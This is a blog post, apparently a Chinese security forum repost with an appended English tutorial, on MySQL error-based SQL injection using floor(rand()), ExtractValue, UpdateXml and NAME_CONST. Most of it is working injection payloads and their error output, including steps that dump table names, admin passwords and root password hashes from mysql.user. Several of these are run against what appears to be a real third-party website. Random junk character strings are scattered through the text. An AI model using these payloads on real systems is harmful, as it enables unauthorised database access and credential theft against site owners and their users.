mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
  ~) b! h$ E1 m6 d8 i, [首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
* H3 `% v( s8 J, O7 |. a  ?|  1 | test  | do it   |
; _9 s2 v4 ~5 N# B/ l0 L7 u+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
4 E" ]. Q7 U8 j  KERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
& T6 u: G8 `0 g" P测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
) s. J4 `( J7 p6 @& ?2 f  h: a/ kERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

, o% q+ V+ F0 }" Z7 `  H

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

! M) P* w6 I( ^Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
) A) u( G" P& ]; ]3 b6 c% W* \- E
: y) Z" y. ]3 [; B# p" xhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

6 d+ J3 G- z  i$ i/ A8 f" h( FErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
/ _( |# ^) j# t, t$ H3 p

相关信息

) T. f7 R5 l( M" y4 i' `: f' U1 rNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

' c7 \  s0 y4 ]  ^, ]; xCode:
NAME_CONST(DATA, VALUE)
) {9 c2 }1 G1 S7 S
7 g' R  s+ Z, {: OReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
3 d5 p; @" ^; m4 ]( E5 _9 P+ k6 ]
/ i2 k% }9 p  vSELECT NAME_CONST('TEST', 1)
6 S: o) j- o  E; c0 q9 a

# K) J8 z. X5 Z# y: X0 @! F6 Y
|---------------|
|     TEST      |
|               |
|---------------|
|       1       |
|               |
# s% a9 }  X. ~6 M- F; \3 d* S* w|---------------|


7 ~0 j- ?: _8 l
7 E; W6 Q5 i5 q
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables

1 u7 e: P+ z: H: eOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

Code:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
7 e8 o- Z1 r; F* Q- ?% Z
+ I% }" J7 A% L7 G2 W
7 t% W" E& m, u; Z6 c

$ j' N/ b  x3 s0 B) \1 @, w' J
  }( K  W* ?8 O' m0 pCode:
4 m* A8 ?" a( m8 r( l% Q8 O. p$ @0 Tand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
, D! k( u9 v# [7 q$ P2 L" U

VAR = Your MySQL variable.
6 l  |  e; Y& L# G- T3 H
MySQL 5.1.3 Server System Variables
7 \0 t8 e7 m- ?9 y& F
Let's try it out on my site..

8 Z9 X' X7 O3 _Code:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
' s7 t" |9 C% O# x  _
Erroruplicate column name '5.0.27-community-nt'
( C; k, t9 h# G, y




Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
; E/ ?8 }9 F9 G9 j; g0 t- n5 m+ }- j
5 U8 o+ n3 }0 @" ?% IData Extraction
; P) r* x' P% x, W* X
$ U/ U5 S0 B! ]: z3 ]( `. w# ^Code:
9 ]* t7 S+ c5 a! A& }! W. u) n+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
6 g+ `8 j- p* u+ y$ g0 O
, k7 T  B$ J2 M1 ]+ f
We should get a duplicate column 1 error...
9 Q3 C0 [5 v9 u+ z
7 }4 y( Y2 m/ `& I5 E# ?Code:
2 j4 b4 E1 r2 v1 w% khttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Erroruplicate column name '1


- b- V8 L1 t! |8 L% y



4 n; t7 x. {& |' t8 N& \Now let's get the tables out this bitch..

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


Let's see if it works here, if it does, we can go on and finish the job.

Code:
- n1 ~9 X2 m+ T8 mhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
* x* f* Z; U2 l7 @' y% O! D" o: Q
' X3 ^! I6 a4 r' a. F
0 Q2 \0 u" p& F% c4 NErroruplicate column name 'com_admanage
4 A; U' A5 Y- {- Q" N1 A
9 g  F7 H& i" @* ]
/ P, \+ G3 f1 a2 C- b( Z
* r$ M( v7 P9 D( p5 d: U


! H$ R" J/ b  iNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.

8 u9 |0 _- H6 f# ILet's get the columns out of the user table..

) o7 T' V( z+ WCode:
6 R: t3 [" f* J  l1 d+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
4 `, Y6 h8 \; f: S$ c/ Y3 Y/ Z
* n$ k9 {' ?8 J* J# G$ W' Q
: d/ ~( M1 {4 w4 f! ^So mine looks like this, and I get the duplicate column name 'Host'.

2 b9 I) D7 L2 \- d/ s4 CCode:
% K9 Y% b% ~+ y4 Xhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

+ q7 f4 e, q& S  Q0 SErroruplicate column name 'Host'

4 V& X3 e8 v4 K6 x: \


3 x# s# z% }, Y; e: _
+ t2 @# o; d$ m5 ]
$ U5 x, K: y4 ]3 GWoot, time to finish this bitch off.

Code:
/ Z# y* A, ]3 R* p4 ^* d7 E+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

7 @, y- N0 ^+ c; e" d9 ]8 L& r
So mine looks like this...

# i' @# t+ m' I& cCode:
" g( B/ n/ p0 X# K1 R. l4 t5 l( @, Thttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
% p0 D; h; b) A3 q2 [
4 c# c2 h- ^3 N" KErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
  f/ e# o: i8 z2 _% f



# F$ \  N. [/ Z/ V( }  M
4 R6 h1 S- I. }. \, p4 u9 ]
And there we have it, thanks for reading.
# i$ W, b6 I- k5 f) `( A- i
0 q+ |1 [" ?) o; n/ X/ a6 L